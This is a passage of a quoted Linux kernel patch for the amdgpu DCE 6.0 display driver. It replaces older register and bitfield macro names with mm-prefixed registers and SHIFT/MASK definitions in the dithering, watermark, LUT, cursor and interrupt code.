> (FMT_BIT_DEPTH_CONTROL__FMT_FRAME_RANDOM_ENABLE_MASK |
> +
> FMT_BIT_DEPTH_CONTROL__FMT_HIGHPASS_RANDOM_ENABLE_
> MASK |
> +
> FMT_BIT_DEPTH_CONTROL__FMT_SPATIAL_DITHER_EN_MASK);
> else
> - tmp |= FMT_TRUNCATE_EN;
> + tmp |=
> FMT_BIT_DEPTH_CONTROL__FMT_TRUNCATE_EN_MASK;
> break;
> case 8:
> if (dither == AMDGPU_FMT_DITHER_ENABLE)
> /* XXX sort out optimal dither settings */
> - tmp |= (FMT_FRAME_RANDOM_ENABLE |
> FMT_HIGHPASS_RANDOM_ENABLE |
> - FMT_RGB_RANDOM_ENABLE |
> - FMT_SPATIAL_DITHER_EN |
> FMT_SPATIAL_DITHER_DEPTH);
> + tmp |=
> (FMT_BIT_DEPTH_CONTROL__FMT_FRAME_RANDOM_ENABLE_MASK |
> +
> FMT_BIT_DEPTH_CONTROL__FMT_HIGHPASS_RANDOM_ENABLE_
> MASK |
> +
> FMT_BIT_DEPTH_CONTROL__FMT_RGB_RANDOM_ENABLE_MASK
> |
> +
> FMT_BIT_DEPTH_CONTROL__FMT_SPATIAL_DITHER_EN_MASK |
> +
> FMT_BIT_DEPTH_CONTROL__FMT_SPATIAL_DITHER_DEPTH_MASK)
> ;
> else
> - tmp |= (FMT_TRUNCATE_EN |
> FMT_TRUNCATE_DEPTH);
> + tmp |=
> (FMT_BIT_DEPTH_CONTROL__FMT_TRUNCATE_EN_MASK |
> +
> FMT_BIT_DEPTH_CONTROL__FMT_TRUNCATE_DEPTH_MASK);
> break;
> case 10:
> default:
> @@ -589,7 +604,7 @@ static void dce_v6_0_program_fmt(struct
> drm_encoder *encoder)
> break;
> }
>
> - WREG32(FMT_BIT_DEPTH_CONTROL + amdgpu_crtc->crtc_offset,
> tmp);
> + WREG32(mmFMT_BIT_DEPTH_CONTROL + amdgpu_crtc-
> >crtc_offset, tmp);
> }
>
> /**
> @@ -603,7 +618,7 @@ static void dce_v6_0_program_fmt(struct
> drm_encoder *encoder)
> */
> static u32 si_get_number_of_dram_channels(struct amdgpu_device *adev)
> {
> - u32 tmp = RREG32(MC_SHARED_CHMAP);
> + u32 tmp = RREG32(mmMC_SHARED_CHMAP);
>
> switch ((tmp & MC_SHARED_CHMAP__NOOFCHAN_MASK) >>
> MC_SHARED_CHMAP__NOOFCHAN__SHIFT) {
> case 0:
> @@ -1100,28 +1115,28 @@ static void
> dce_v6_0_program_watermarks(struct amdgpu_device *adev,
> }
>
> /* select wm A */
> - arb_control3 = RREG32(DPG_PIPE_ARBITRATION_CONTROL3 +
> amdgpu_crtc->crtc_offset);
> + arb_control3 = RREG32(mmDPG_PIPE_ARBITRATION_CONTROL3 +
> amdgpu_crtc->crtc_offset);
> tmp = arb_control3;
> tmp &= ~LATENCY_WATERMARK_MASK(3);
> tmp |= LATENCY_WATERMARK_MASK(1);
> - WREG32(DPG_PIPE_ARBITRATION_CONTROL3 + amdgpu_crtc-
> >crtc_offset, tmp);
> - WREG32(DPG_PIPE_LATENCY_CONTROL + amdgpu_crtc-
> >crtc_offset,
> - (LATENCY_LOW_WATERMARK(latency_watermark_a) |
> - LATENCY_HIGH_WATERMARK(line_time)));
> + WREG32(mmDPG_PIPE_ARBITRATION_CONTROL3 + amdgpu_crtc-
> >crtc_offset, tmp);
> + WREG32(mmDPG_PIPE_URGENCY_CONTROL + amdgpu_crtc-
> >crtc_offset,
> + ((latency_watermark_a <<
> DPG_PIPE_URGENCY_CONTROL__URGENCY_LOW_WATERMARK__SHIFT) |
> + (line_time <<
> DPG_PIPE_URGENCY_CONTROL__URGENCY_HIGH_WATERMARK__SHIFT)))
> ;
> /* select wm B */
> - tmp = RREG32(DPG_PIPE_ARBITRATION_CONTROL3 + amdgpu_crtc-
> >crtc_offset);
> + tmp = RREG32(mmDPG_PIPE_ARBITRATION_CONTROL3 +
> amdgpu_crtc->crtc_offset);
> tmp &= ~LATENCY_WATERMARK_MASK(3);
> tmp |= LATENCY_WATERMARK_MASK(2);
> - WREG32(DPG_PIPE_ARBITRATION_CONTROL3 + amdgpu_crtc-
> >crtc_offset, tmp);
> - WREG32(DPG_PIPE_LATENCY_CONTROL + amdgpu_crtc-
> >crtc_offset,
> - (LATENCY_LOW_WATERMARK(latency_watermark_b) |
> - LATENCY_HIGH_WATERMARK(line_time)));
> + WREG32(mmDPG_PIPE_ARBITRATION_CONTROL3 + amdgpu_crtc-
> >crtc_offset, tmp);
> + WREG32(mmDPG_PIPE_URGENCY_CONTROL + amdgpu_crtc-
> >crtc_offset,
> + ((latency_watermark_b <<
> DPG_PIPE_URGENCY_CONTROL__URGENCY_LOW_WATERMARK__SHIFT) |
> + (line_time <<
> DPG_PIPE_URGENCY_CONTROL__URGENCY_HIGH_WATERMARK__SHIFT)))
> ;
> /* restore original selection */
> - WREG32(DPG_PIPE_ARBITRATION_CONTROL3 + amdgpu_crtc-
> >crtc_offset, arb_control3);
> + WREG32(mmDPG_PIPE_ARBITRATION_CONTROL3 + amdgpu_crtc-
> >crtc_offset, arb_control3);
>
> /* write the priority marks */
> - WREG32(PRIORITY_A_CNT + amdgpu_crtc->crtc_offset,
> priority_a_cnt);
> - WREG32(PRIORITY_B_CNT + amdgpu_crtc->crtc_offset,
> priority_b_cnt);
> + WREG32(mmPRIORITY_A_CNT + amdgpu_crtc->crtc_offset,
> priority_a_cnt);
> + WREG32(mmPRIORITY_B_CNT + amdgpu_crtc->crtc_offset,
> priority_b_cnt);
>
> /* save values for DPM */
> amdgpu_crtc->line_time = line_time;
> @@ -1139,7 +1154,7 @@ static u32 dce_v6_0_line_buffer_adjust(struct
> amdgpu_device *adev,
> /*
> * Line Buffer Setup
> * There are 3 line buffers, each one shared by 2 display controllers.
> - * DC_LB_MEMORY_SPLIT controls how that line buffer is shared
> between
> + * mmDC_LB_MEMORY_SPLIT controls how that line buffer is shared
> between
> * the display controllers. The paritioning is done via one of four
> * preset allocations specified in bits 21:20:
> * 0 - half lb
> @@ -1162,14 +1177,14 @@ static u32 dce_v6_0_line_buffer_adjust(struct
> amdgpu_device *adev,
> buffer_alloc = 0;
> }
>
> - WREG32(DC_LB_MEMORY_SPLIT + amdgpu_crtc->crtc_offset,
> + WREG32(mmDC_LB_MEMORY_SPLIT + amdgpu_crtc->crtc_offset,
> DC_LB_MEMORY_CONFIG(tmp));
>
> - WREG32(PIPE0_DMIF_BUFFER_CONTROL + pipe_offset,
> - DMIF_BUFFERS_ALLOCATED(buffer_alloc));
> + WREG32(mmPIPE0_DMIF_BUFFER_CONTROL + pipe_offset,
> + (buffer_alloc <<
> PIPE0_DMIF_BUFFER_CONTROL__DMIF_BUFFERS_ALLOCATED__SHIFT));
> for (i = 0; i < adev->usec_timeout; i++) {
> - if (RREG32(PIPE0_DMIF_BUFFER_CONTROL + pipe_offset) &
> - DMIF_BUFFERS_ALLOCATED_COMPLETED)
> + if (RREG32(mmPIPE0_DMIF_BUFFER_CONTROL +
> pipe_offset) &
> +
> PIPE0_DMIF_BUFFER_CONTROL__DMIF_BUFFERS_ALLOCATION_COMPLETE
> D_MASK)
> break;
> udelay(1);
> }
> @@ -1411,12 +1426,12 @@ static void dce_v6_0_afmt_fini(struct
> amdgpu_device *adev)
>
> static const u32 vga_control_regs[6] =
> {
> - AVIVO_D1VGA_CONTROL,
> - AVIVO_D2VGA_CONTROL,
> - EVERGREEN_D3VGA_CONTROL,
> - EVERGREEN_D4VGA_CONTROL,
> - EVERGREEN_D5VGA_CONTROL,
> - EVERGREEN_D6VGA_CONTROL,
> + mmAVIVO_D1VGA_CONTROL,
> + mmAVIVO_D2VGA_CONTROL,
> + mmEVERGREEN_D3VGA_CONTROL,
> + mmEVERGREEN_D4VGA_CONTROL,
> + mmEVERGREEN_D5VGA_CONTROL,
> + mmEVERGREEN_D6VGA_CONTROL,
> };
>
> static void dce_v6_0_vga_enable(struct drm_crtc *crtc, bool enable)
> @@ -1436,7 +1451,7 @@ static void dce_v6_0_grph_enable(struct drm_crtc
> *crtc, bool enable)
> struct drm_device *dev = crtc->dev;
> struct amdgpu_device *adev = dev->dev_private;
>
> - WREG32(EVERGREEN_GRPH_ENABLE + amdgpu_crtc->crtc_offset,
> enable ? 1 : 0);
> + WREG32(mmGRPH_ENABLE + amdgpu_crtc->crtc_offset, enable ? 1 :
> 0);
> }
>
> static int dce_v6_0_crtc_do_set_base(struct drm_crtc *crtc,
> @@ -1590,57 +1605,57 @@ static int dce_v6_0_crtc_do_set_base(struct
> drm_crtc *crtc,
> /* Make sure surface address is updated at vertical blank rather than
> * horizontal blank
> */
> - WREG32(EVERGREEN_GRPH_FLIP_CONTROL + amdgpu_crtc-
> >crtc_offset, 0);
> + WREG32(mmGRPH_FLIP_CONTROL + amdgpu_crtc->crtc_offset, 0);
>
> - WREG32(EVERGREEN_GRPH_PRIMARY_SURFACE_ADDRESS_HIGH +
> amdgpu_crtc->crtc_offset,
> + WREG32(mmGRPH_PRIMARY_SURFACE_ADDRESS_HIGH +
> amdgpu_crtc->crtc_offset,
> upper_32_bits(fb_location));
> -
> WREG32(EVERGREEN_GRPH_SECONDARY_SURFACE_ADDRESS_HIG
> H + amdgpu_crtc->crtc_offset,
> + WREG32(mmGRPH_SECONDARY_SURFACE_ADDRESS_HIGH +
> amdgpu_crtc->crtc_offset,
> upper_32_bits(fb_location));
> - WREG32(EVERGREEN_GRPH_PRIMARY_SURFACE_ADDRESS +
> amdgpu_crtc->crtc_offset,
> - (u32)fb_location &
> EVERGREEN_GRPH_SURFACE_ADDRESS_MASK);
> - WREG32(EVERGREEN_GRPH_SECONDARY_SURFACE_ADDRESS +
> amdgpu_crtc->crtc_offset,
> - (u32) fb_location &
> EVERGREEN_GRPH_SURFACE_ADDRESS_MASK);
> - WREG32(EVERGREEN_GRPH_CONTROL + amdgpu_crtc->crtc_offset,
> fb_format);
> - WREG32(EVERGREEN_GRPH_SWAP_CONTROL + amdgpu_crtc-
> >crtc_offset, fb_swap);
> + WREG32(mmGRPH_PRIMARY_SURFACE_ADDRESS + amdgpu_crtc-
> >crtc_offset,
> + (u32)fb_location &
> GRPH_PRIMARY_SURFACE_ADDRESS__GRPH_PRIMARY_SURFACE_ADDRES
> S_MASK);
> + WREG32(mmGRPH_SECONDARY_SURFACE_ADDRESS +
> amdgpu_crtc->crtc_offset,
> + (u32) fb_location &
> GRPH_PRIMARY_SURFACE_ADDRESS__GRPH_PRIMARY_SURFACE_ADDRES
> S_MASK);
> + WREG32(mmGRPH_CONTROL + amdgpu_crtc->crtc_offset,
> fb_format);
> + WREG32(mmGRPH_SWAP_CNTL + amdgpu_crtc->crtc_offset,
> fb_swap);
>
> /*
> * The LUT only has 256 slots for indexing by a 8 bpc fb. Bypass the
> LUT
> * for > 8 bpc scanout to avoid truncation of fb indices to 8 msb's, to
> * retain the full precision throughout the pipeline.
> */
> - WREG32_P(EVERGREEN_GRPH_LUT_10BIT_BYPASS_CONTROL +
> amdgpu_crtc->crtc_offset,
> - (bypass_lut ? EVERGREEN_LUT_10BIT_BYPASS_EN : 0),
> - ~EVERGREEN_LUT_10BIT_BYPASS_EN);
> + WREG32_P(mmGRPH_LUT_10BIT_BYPASS + amdgpu_crtc-
> >crtc_offset,
> + (bypass_lut ?
> GRPH_LUT_10BIT_BYPASS__GRPH_LUT_10BIT_BYPASS_EN_MASK : 0),
> +
> ~GRPH_LUT_10BIT_BYPASS__GRPH_LUT_10BIT_BYPASS_EN_MASK);
>
> if (bypass_lut)
> DRM_DEBUG_KMS("Bypassing hardware LUT due to 10 bit fb
> scanout.\n");
>
> - WREG32(EVERGREEN_GRPH_SURFACE_OFFSET_X + amdgpu_crtc-
> >crtc_offset, 0);
> - WREG32(EVERGREEN_GRPH_SURFACE_OFFSET_Y + amdgpu_crtc-
> >crtc_offset, 0);
> - WREG32(EVERGREEN_GRPH_X_START + amdgpu_crtc->crtc_offset,
> 0);
> - WREG32(EVERGREEN_GRPH_Y_START + amdgpu_crtc->crtc_offset,
> 0);
> - WREG32(EVERGREEN_GRPH_X_END + amdgpu_crtc->crtc_offset,
> target_fb->width);
> - WREG32(EVERGREEN_GRPH_Y_END + amdgpu_crtc->crtc_offset,
> target_fb->height);
> + WREG32(mmGRPH_SURFACE_OFFSET_X + amdgpu_crtc-
> >crtc_offset, 0);
> + WREG32(mmGRPH_SURFACE_OFFSET_Y + amdgpu_crtc-
> >crtc_offset, 0);
> + WREG32(mmGRPH_X_START + amdgpu_crtc->crtc_offset, 0);
> + WREG32(mmGRPH_Y_START + amdgpu_crtc->crtc_offset, 0);
> + WREG32(mmGRPH_X_END + amdgpu_crtc->crtc_offset, target_fb-
> >width);
> + WREG32(mmGRPH_Y_END + amdgpu_crtc->crtc_offset, target_fb-
> >height);
>
> fb_pitch_pixels = target_fb->pitches[0] / (target_fb->bits_per_pixel
> / 8);
> - WREG32(EVERGREEN_GRPH_PITCH + amdgpu_crtc->crtc_offset,
> fb_pitch_pixels);
> + WREG32(mmGRPH_PITCH + amdgpu_crtc->crtc_offset,
> fb_pitch_pixels);
>
> dce_v6_0_grph_enable(crtc, true);
>
> - WREG32(EVERGREEN_DESKTOP_HEIGHT + amdgpu_crtc-
> >crtc_offset,
> + WREG32(mmEVERGREEN_DESKTOP_HEIGHT + amdgpu_crtc-
> >crtc_offset,
> target_fb->height);
> x &= ~3;
> y &= ~1;
> - WREG32(EVERGREEN_VIEWPORT_START + amdgpu_crtc-
> >crtc_offset,
> + WREG32(mmVIEWPORT_START + amdgpu_crtc->crtc_offset,
> (x << 16) | y);
> viewport_w = crtc->mode.hdisplay;
> viewport_h = (crtc->mode.vdisplay + 1) & ~1;
>
> - WREG32(EVERGREEN_VIEWPORT_SIZE + amdgpu_crtc->crtc_offset,
> + WREG32(mmVIEWPORT_SIZE + amdgpu_crtc->crtc_offset,
> (viewport_w << 16) | viewport_h);
>
> /* set pageflip to happen only at start of vblank interval (front porch)
> */
> - WREG32(EVERGREEN_MASTER_UPDATE_MODE + amdgpu_crtc-
> >crtc_offset, 3);
> + WREG32(mmMASTER_UPDATE_MODE + amdgpu_crtc->crtc_offset,
> 3);
>
> if (!atomic && fb && fb != crtc->primary->fb) {
> amdgpu_fb = to_amdgpu_framebuffer(fb);
> @@ -1667,10 +1682,10 @@ static void dce_v6_0_set_interleave(struct
> drm_crtc *crtc,
> struct amdgpu_crtc *amdgpu_crtc = to_amdgpu_crtc(crtc);
>
> if (mode->flags & DRM_MODE_FLAG_INTERLACE)
> - WREG32(EVERGREEN_DATA_FORMAT + amdgpu_crtc-
> >crtc_offset,
> + WREG32(mmEVERGREEN_DATA_FORMAT + amdgpu_crtc-
> >crtc_offset,
> EVERGREEN_INTERLEAVE_EN);
> else
> - WREG32(EVERGREEN_DATA_FORMAT + amdgpu_crtc-
> >crtc_offset, 0);
> + WREG32(mmEVERGREEN_DATA_FORMAT + amdgpu_crtc-
> >crtc_offset, 0);
> }
>
> static void dce_v6_0_crtc_load_lut(struct drm_crtc *crtc)
> @@ -1683,54 +1698,52 @@ static void dce_v6_0_crtc_load_lut(struct
> drm_crtc *crtc)
>
> DRM_DEBUG_KMS("%d\n", amdgpu_crtc->crtc_id);
>
> - WREG32(NI_INPUT_CSC_CONTROL + amdgpu_crtc->crtc_offset,
> - (NI_INPUT_CSC_GRPH_MODE(NI_INPUT_CSC_BYPASS) |
> - NI_INPUT_CSC_OVL_MODE(NI_INPUT_CSC_BYPASS)));
> - WREG32(NI_PRESCALE_GRPH_CONTROL + amdgpu_crtc-
> >crtc_offset,
> - NI_GRPH_PRESCALE_BYPASS);
> - WREG32(NI_PRESCALE_OVL_CONTROL + amdgpu_crtc->crtc_offset,
> - NI_OVL_PRESCALE_BYPASS);
> - WREG32(NI_INPUT_GAMMA_CONTROL + amdgpu_crtc-
> >crtc_offset,
> -
> (NI_GRPH_INPUT_GAMMA_MODE(NI_INPUT_GAMMA_USE_LUT) |
> -
> NI_OVL_INPUT_GAMMA_MODE(NI_INPUT_GAMMA_USE_LUT)));
> -
> -
> + WREG32(mmINPUT_CSC_CONTROL + amdgpu_crtc->crtc_offset,
> + ((0 <<
> INPUT_CSC_CONTROL__INPUT_CSC_GRPH_MODE__SHIFT) |
> + (0 <<
> INPUT_CSC_CONTROL__INPUT_CSC_OVL_MODE__SHIFT)));
> + WREG32(mmPRESCALE_GRPH_CONTROL + amdgpu_crtc-
> >crtc_offset,
> + PRESCALE_GRPH_CONTROL__GRPH_PRESCALE_BYPASS_MASK);
> + WREG32(mmPRESCALE_OVL_CONTROL + amdgpu_crtc->crtc_offset,
> + PRESCALE_OVL_CONTROL__OVL_PRESCALE_BYPASS_MASK);
> + WREG32(mmINPUT_GAMMA_CONTROL + amdgpu_crtc-
> >crtc_offset,
> + ((0 <<
> INPUT_GAMMA_CONTROL__GRPH_INPUT_GAMMA_MODE__SHIFT) |
> + (0 <<
> INPUT_GAMMA_CONTROL__OVL_INPUT_GAMMA_MODE__SHIFT)));
>
> - WREG32(EVERGREEN_DC_LUT_CONTROL + amdgpu_crtc-
> >crtc_offset, 0);
> + WREG32(mmDC_LUT_CONTROL + amdgpu_crtc->crtc_offset, 0);
>
> - WREG32(EVERGREEN_DC_LUT_BLACK_OFFSET_BLUE +
> amdgpu_crtc->crtc_offset, 0);
> - WREG32(EVERGREEN_DC_LUT_BLACK_OFFSET_GREEN +
> amdgpu_crtc->crtc_offset, 0);
> - WREG32(EVERGREEN_DC_LUT_BLACK_OFFSET_RED + amdgpu_crtc-
> >crtc_offset, 0);
> + WREG32(mmDC_LUT_BLACK_OFFSET_BLUE + amdgpu_crtc-
> >crtc_offset, 0);
> + WREG32(mmDC_LUT_BLACK_OFFSET_GREEN + amdgpu_crtc-
> >crtc_offset, 0);
> + WREG32(mmDC_LUT_BLACK_OFFSET_RED + amdgpu_crtc-
> >crtc_offset, 0);
>
> - WREG32(EVERGREEN_DC_LUT_WHITE_OFFSET_BLUE +
> amdgpu_crtc->crtc_offset, 0xffff);
> - WREG32(EVERGREEN_DC_LUT_WHITE_OFFSET_GREEN +
> amdgpu_crtc->crtc_offset, 0xffff);
> - WREG32(EVERGREEN_DC_LUT_WHITE_OFFSET_RED + amdgpu_crtc-
> >crtc_offset, 0xffff);
> + WREG32(mmDC_LUT_WHITE_OFFSET_BLUE + amdgpu_crtc-
> >crtc_offset, 0xffff);
> + WREG32(mmDC_LUT_WHITE_OFFSET_GREEN + amdgpu_crtc-
> >crtc_offset, 0xffff);
> + WREG32(mmDC_LUT_WHITE_OFFSET_RED + amdgpu_crtc-
> >crtc_offset, 0xffff);
>
> - WREG32(EVERGREEN_DC_LUT_RW_MODE + amdgpu_crtc-
> >crtc_offset, 0);
> - WREG32(EVERGREEN_DC_LUT_WRITE_EN_MASK + amdgpu_crtc-
> >crtc_offset, 0x00000007);
> + WREG32(mmDC_LUT_RW_MODE + amdgpu_crtc->crtc_offset, 0);
> + WREG32(mmDC_LUT_WRITE_EN_MASK + amdgpu_crtc-
> >crtc_offset, 0x00000007);
>
> - WREG32(EVERGREEN_DC_LUT_RW_INDEX + amdgpu_crtc-
> >crtc_offset, 0);
> + WREG32(mmDC_LUT_RW_INDEX + amdgpu_crtc->crtc_offset, 0);
> for (i = 0; i < 256; i++) {
> - WREG32(EVERGREEN_DC_LUT_30_COLOR + amdgpu_crtc-
> >crtc_offset,
> + WREG32(mmDC_LUT_30_COLOR + amdgpu_crtc-
> >crtc_offset,
> (amdgpu_crtc->lut_r[i] << 20) |
> (amdgpu_crtc->lut_g[i] << 10) |
> (amdgpu_crtc->lut_b[i] << 0));
> }
>
> - WREG32(NI_DEGAMMA_CONTROL + amdgpu_crtc->crtc_offset,
> - (NI_GRPH_DEGAMMA_MODE(NI_DEGAMMA_BYPASS) |
> - NI_OVL_DEGAMMA_MODE(NI_DEGAMMA_BYPASS) |
> - NI_ICON_DEGAMMA_MODE(NI_DEGAMMA_BYPASS) |
> - NI_CURSOR_DEGAMMA_MODE(NI_DEGAMMA_BYPASS)));
> - WREG32(NI_GAMUT_REMAP_CONTROL + amdgpu_crtc-
> >crtc_offset,
> -
> (NI_GRPH_GAMUT_REMAP_MODE(NI_GAMUT_REMAP_BYPASS) |
> -
> NI_OVL_GAMUT_REMAP_MODE(NI_GAMUT_REMAP_BYPASS)));
> - WREG32(NI_REGAMMA_CONTROL + amdgpu_crtc->crtc_offset,
> - (NI_GRPH_REGAMMA_MODE(NI_REGAMMA_BYPASS) |
> - NI_OVL_REGAMMA_MODE(NI_REGAMMA_BYPASS)));
> - WREG32(NI_OUTPUT_CSC_CONTROL + amdgpu_crtc->crtc_offset,
> - (NI_OUTPUT_CSC_GRPH_MODE(0) |
> - NI_OUTPUT_CSC_OVL_MODE(NI_OUTPUT_CSC_BYPASS)));
> + WREG32(mmDEGAMMA_CONTROL + amdgpu_crtc->crtc_offset,
> + ((0 <<
> DEGAMMA_CONTROL__GRPH_DEGAMMA_MODE__SHIFT) |
> + (0 <<
> DEGAMMA_CONTROL__OVL_DEGAMMA_MODE__SHIFT) |
> + NI_ICON_DEGAMMA_MODE(0) |
> + (0 <<
> DEGAMMA_CONTROL__CURSOR_DEGAMMA_MODE__SHIFT)));
> + WREG32(mmGAMUT_REMAP_CONTROL + amdgpu_crtc-
> >crtc_offset,
> + ((0 <<
> GAMUT_REMAP_CONTROL__GRPH_GAMUT_REMAP_MODE__SHIFT) |
> + (0 <<
> GAMUT_REMAP_CONTROL__OVL_GAMUT_REMAP_MODE__SHIFT)));
> + WREG32(mmREGAMMA_CONTROL + amdgpu_crtc->crtc_offset,
> + ((0 <<
> REGAMMA_CONTROL__GRPH_REGAMMA_MODE__SHIFT) |
> + (0 <<
> REGAMMA_CONTROL__OVL_REGAMMA_MODE__SHIFT)));
> + WREG32(mmOUTPUT_CSC_CONTROL + amdgpu_crtc->crtc_offset,
> + ((0 <<
> OUTPUT_CSC_CONTROL__OUTPUT_CSC_GRPH_MODE__SHIFT) |
> + (0 <<
> OUTPUT_CSC_CONTROL__OUTPUT_CSC_OVL_MODE__SHIFT)));
> /* XXX match this to the depth of the crtc fmt block, move to
> modeset? */
> WREG32(0x1a50 + amdgpu_crtc->crtc_offset, 0);
>
> @@ -1809,12 +1822,12 @@ static void dce_v6_0_lock_cursor(struct drm_crtc
> *crtc, bool lock)
> struct amdgpu_crtc *amdgpu_crtc = to_amdgpu_crtc(crtc);
> uint32_t cur_lock;
>
> - cur_lock = RREG32(EVERGREEN_CUR_UPDATE + amdgpu_crtc-
> >crtc_offset);
> + cur_lock = RREG32(mmCUR_UPDATE + amdgpu_crtc->crtc_offset);
> if (lock)
> - cur_lock |= EVERGREEN_CURSOR_UPDATE_LOCK;
> + cur_lock |= CUR_UPDATE__CURSOR_UPDATE_LOCK_MASK;
> else
> - cur_lock &= ~EVERGREEN_CURSOR_UPDATE_LOCK;
> - WREG32(EVERGREEN_CUR_UPDATE + amdgpu_crtc->crtc_offset,
> cur_lock);
> + cur_lock &=
> ~CUR_UPDATE__CURSOR_UPDATE_LOCK_MASK;
> + WREG32(mmCUR_UPDATE + amdgpu_crtc->crtc_offset, cur_lock);
> }
>
> static void dce_v6_0_hide_cursor(struct drm_crtc *crtc)
> @@ -1822,9 +1835,9 @@ static void dce_v6_0_hide_cursor(struct drm_crtc
> *crtc)
> struct amdgpu_crtc *amdgpu_crtc = to_amdgpu_crtc(crtc);
> struct amdgpu_device *adev = crtc->dev->dev_private;
>
> - WREG32_IDX(EVERGREEN_CUR_CONTROL + amdgpu_crtc-
> >crtc_offset,
> -
> EVERGREEN_CURSOR_MODE(EVERGREEN_CURSOR_24_8_PRE_MULT) |
> -
> EVERGREEN_CURSOR_URGENT_CONTROL(EVERGREEN_CURSOR_URGENT_
> 1_2));
> + WREG32_IDX(mmCUR_CONTROL + amdgpu_crtc->crtc_offset,
> + (EVERGREEN_CURSOR_24_8_PRE_MULT <<
> CUR_CONTROL__CURSOR_MODE__SHIFT) |
> + (EVERGREEN_CURSOR_URGENT_1_2 <<
> CUR_CONTROL__CURSOR_URGENT_CONTROL__SHIFT));
>
>
> }
> @@ -1834,15 +1847,15 @@ static void dce_v6_0_show_cursor(struct
> drm_crtc *crtc)
> struct amdgpu_crtc *amdgpu_crtc = to_amdgpu_crtc(crtc);
> struct amdgpu_device *adev = crtc->dev->dev_private;
>
> - WREG32(EVERGREEN_CUR_SURFACE_ADDRESS_HIGH +
> amdgpu_crtc->crtc_offset,
> + WREG32(mmCUR_SURFACE_ADDRESS_HIGH + amdgpu_crtc-
> >crtc_offset,
> upper_32_bits(amdgpu_crtc->cursor_addr));
> - WREG32(EVERGREEN_CUR_SURFACE_ADDRESS + amdgpu_crtc-
> >crtc_offset,
> + WREG32(mmCUR_SURFACE_ADDRESS + amdgpu_crtc->crtc_offset,
> lower_32_bits(amdgpu_crtc->cursor_addr));
>
> - WREG32_IDX(EVERGREEN_CUR_CONTROL + amdgpu_crtc-
> >crtc_offset,
> - EVERGREEN_CURSOR_EN |
> -
> EVERGREEN_CURSOR_MODE(EVERGREEN_CURSOR_24_8_PRE_MULT) |
> -
> EVERGREEN_CURSOR_URGENT_CONTROL(EVERGREEN_CURSOR_URGENT_
> 1_2));
> + WREG32_IDX(mmCUR_CONTROL + amdgpu_crtc->crtc_offset,
> + CUR_CONTROL__CURSOR_EN_MASK |
> + (EVERGREEN_CURSOR_24_8_PRE_MULT <<
> CUR_CONTROL__CURSOR_MODE__SHIFT) |
> + (EVERGREEN_CURSOR_URGENT_1_2 <<
> CUR_CONTROL__CURSOR_URGENT_CONTROL__SHIFT));
>
> }
>
> @@ -1869,9 +1882,9 @@ static int dce_v6_0_cursor_move_locked(struct
> drm_crtc *crtc,
> y = 0;
> }
>
> - WREG32(EVERGREEN_CUR_POSITION + amdgpu_crtc->crtc_offset,
> (x << 16) | y);
> - WREG32(EVERGREEN_CUR_HOT_SPOT + amdgpu_crtc->crtc_offset,
> (xorigin << 16) | yorigin);
> - WREG32(EVERGREEN_CUR_SIZE + amdgpu_crtc->crtc_offset,
> + WREG32(mmCUR_POSITION + amdgpu_crtc->crtc_offset, (x << 16) |
> y);
> + WREG32(mmCUR_HOT_SPOT + amdgpu_crtc->crtc_offset, (xorigin
> << 16) | yorigin);
> + WREG32(mmCUR_SIZE + amdgpu_crtc->crtc_offset,
> ((w - 1) << 16) | (amdgpu_crtc->cursor_height - 1));
>
> amdgpu_crtc->cursor_x = x;
> @@ -2475,14 +2488,14 @@ static void
> dce_v6_0_set_crtc_vblank_interrupt_state(struct amdgpu_device *adev,
>
> switch (state) {
> case AMDGPU_IRQ_STATE_DISABLE:
> - interrupt_mask = RREG32(INT_MASK + reg_block);
> + interrupt_mask = RREG32(mmINT_MASK + reg_block);
> interrupt_mask &= ~VBLANK_INT_MASK;
> - WREG32(INT_MASK + reg_block, interrupt_mask);
> + WREG32(mmINT_MASK + reg_block, interrupt_mask);
> break;
> case AMDGPU_IRQ_STATE_ENABLE:
> - interrupt_mask = RREG32(INT_MASK + reg_block);
> + interrupt_mask = RREG32(mmINT_MASK + reg_block);
> interrupt_mask |= VBLANK_INT_MASK;
> - WREG32(INT_MASK + reg_block, interrupt_mask);
> + WREG32(mmINT_MASK + reg_block, interrupt_mask);
> break;
> default:
> break;
> @@ -2510,14 +2523,14 @@ static int
> dce_v6_0_set_hpd_interrupt_state(struct amdgpu_device *adev,
>
> switch (state) {
> case AMDGPU_IRQ_STATE_DISABLE:
> - dc_hpd_int_cntl = RREG32(DC_HPD1_INT_CONTROL +
> hpd_offsets[type]);
> + dc_hpd_int_cntl = RREG32(mmDC_HPD1_INT_CONTROL +
> hpd_offsets[type]);
> dc_hpd_int_cntl &= ~DC_HPDx_INT_EN;
> - WREG32(DC_HPD1_INT_CONTROL + hpd_offsets[type],
> dc_hpd_int_cntl);
> + WREG32(mmDC_HPD1_INT_CONTROL + hpd_offsets[type],
> dc_hpd_int_cntl);
> break;
> case AMDGPU_IRQ_STATE_ENABLE:
> - dc_hpd_int_cntl = RREG32(DC_HPD1_INT_CONTROL +
> hpd_offsets[type]);
> + dc_hpd_int_cntl = RREG32(mmDC_HPD1_INT_CONTROL +
> hpd_offsets[type]);
> dc_hpd_int_cntl |= DC_HPDx_INT_EN;
> - WREG32(DC_HPD1_INT_CONTROL + hpd_offsets[type],
> dc_hpd_int_cntl);
> + WREG32(mmDC_HPD1_INT_CONTROL + hpd_offsets[type],
> dc_hpd_int_cntl);
> break;
> default:
> break;
> @@ -2585,7 +2598,7 @@ static int dce_v6_0_crtc_irq(struct amdgpu_device
> *adev,
> switch (entry->src_data) {
> case 0: /* vblank */
> if (disp_int & interrupt_status_offsets[crtc].vblank)
> - WREG32(VBLANK_STATUS + crtc_offsets[crtc],
> VBLANK_ACK);
> + WREG32(mmVBLANK_STATUS + crtc_offsets[crtc],
> VBLANK_ACK);
> else
> DRM_DEBUG("IH: IH event w/o asserted irq bit?\n");
>
> @@ -2596,7 +2609,7 @@ static int dce_v6_0_crtc_irq(struct amdgpu_device
> *adev,
> break;
> case 1: /* vline */
> if (disp_int & interrupt_status_offsets[crtc].vline)
> - WREG32(VLINE_STATUS + crtc_offsets[crtc],
> VLINE_ACK);
> + WREG32(mmVLINE_STATUS + crtc_offsets[crtc],
> VLINE_ACK);
> else
> DRM_DEBUG("IH: IH event w/o asserted irq bit?\n");
>
> @@ -2622,12 +2635,12 @@ static int
> dce_v6_0_set_pageflip_interrupt_state(struct amdgpu_device *adev,
> return -EINVAL;
> }
>
> - reg = RREG32(GRPH_INT_CONTROL + crtc_offsets[type]);
> + reg = RREG32(mmGRPH_INTERRUPT_CONTROL +
> crtc_offsets[type]);
